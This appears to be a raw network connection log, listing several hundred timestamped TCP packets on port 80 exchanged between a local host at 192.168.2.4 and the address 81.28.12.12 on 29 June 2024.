Jun 29, 2024 08:05:16.257771015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257780075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257790089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257800102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257810116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257818937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257828951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257841110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257872105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257896900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.257930994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.257980108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258013964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258038044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258115053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258126020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258135080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258146048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258174896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258208036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258219004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258239031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258270025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258285999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258295059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258301020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258342981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258342981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258380890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258390903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258400917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258410931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258440971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258440971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258471012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258496046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258553982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258564949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258574009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258584023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258594036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258614063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258614063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258694887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258704901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258714914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258795023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258805037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258819103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258863926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258863926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258899927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258908987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258919001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258928061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258938074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258945942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.258958101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258995056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.258995056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260062933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260133982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260143042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260176897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260189056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260199070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260209084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260219097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260224104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260224104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260273933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260273933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260339975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260349035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260358095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260420084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260420084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260428905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260440111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260449886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260497093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260497093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260535002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260540962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260544062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260554075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260586977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260632038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260633945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260643959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260653973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260761023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260775089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260786057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260874987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260885954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260895967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260905981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260910034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260915995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260929108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260936022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260936022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.260940075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.260957956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.261049986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.261058092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.261081934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.261104107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.261113882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.261116982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.261116982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.261193991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.261203051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.261213064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.261223078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.261225939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.261234045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.261245966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.261275053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.261292934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.261326075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.261519909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.329267025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329277992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329288006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329345942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.329345942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.329361916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329372883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329381943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329391956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329418898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.329418898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.329451084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329483986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.329555988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.329557896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329567909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329577923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329588890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329598904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329607010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.329607964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.329624891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.329705954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.332423925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.332433939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.332443953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.332473040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.332525969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.332542896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.332555056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.332564116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.332572937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.332627058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.332627058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.333066940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.333117962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.333128929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.333151102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.333208084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.333229065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.333240032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.333252907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.333265066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.333285093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.333364964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.346880913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.346993923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347007990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347017050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347069979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347079992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347094059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347099066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347110987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347127914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347163916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347208023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347217083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347218037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347260952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347271919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347274065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347274065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347281933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347292900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347315073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347315073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347369909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347454071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347464085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347474098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347484112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347492933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347503901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347507000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347537994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347556114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347556114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347654104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347664118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347713947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347714901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347781897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347851038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347858906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347861052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347914934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347914934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.347980976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.347990036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348000050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348010063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348018885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348027945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348036051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348067045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348171949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348186970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348191977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348196983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348207951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348213911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348222971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348233938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348253965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348283052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348283052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348325014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348336935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348346949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348356009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348371983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348387957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348450899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348495960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348567963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348577976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348578930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348588943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348598957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348613977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348624945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348634005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348654032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348654032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348685026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.348752022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.348920107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.349540949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349613905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349622011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.349623919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349669933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349670887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.349679947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349689960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349704981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349755049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.349755049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.349802017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349811077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349884987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349895954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349917889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.349955082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349965096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349975109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.349984884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350018024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350018978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350101948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350111961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350121021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350131035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350141048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350150108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350159883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350198984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350198984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350235939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350246906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350327969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350338936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350461006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350469112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350480080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350490093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350503922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350513935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350522995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350553036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350591898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350601912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350610971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350624084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350655079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350723982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350733995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350744009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350753069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350755930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350760937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.350776911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350820065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350820065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.350894928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.418657064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.418729067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.418766022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.418879986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.418972015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419008970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419018030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419064045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.419116974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.419125080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419142008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419152021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419159889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419169903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419193029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.419292927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419302940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419312000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419322014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419322014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.419331074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.419342995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.419373989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.419384956 CEST	80	49731	81.28.12.12	192.168.2.4
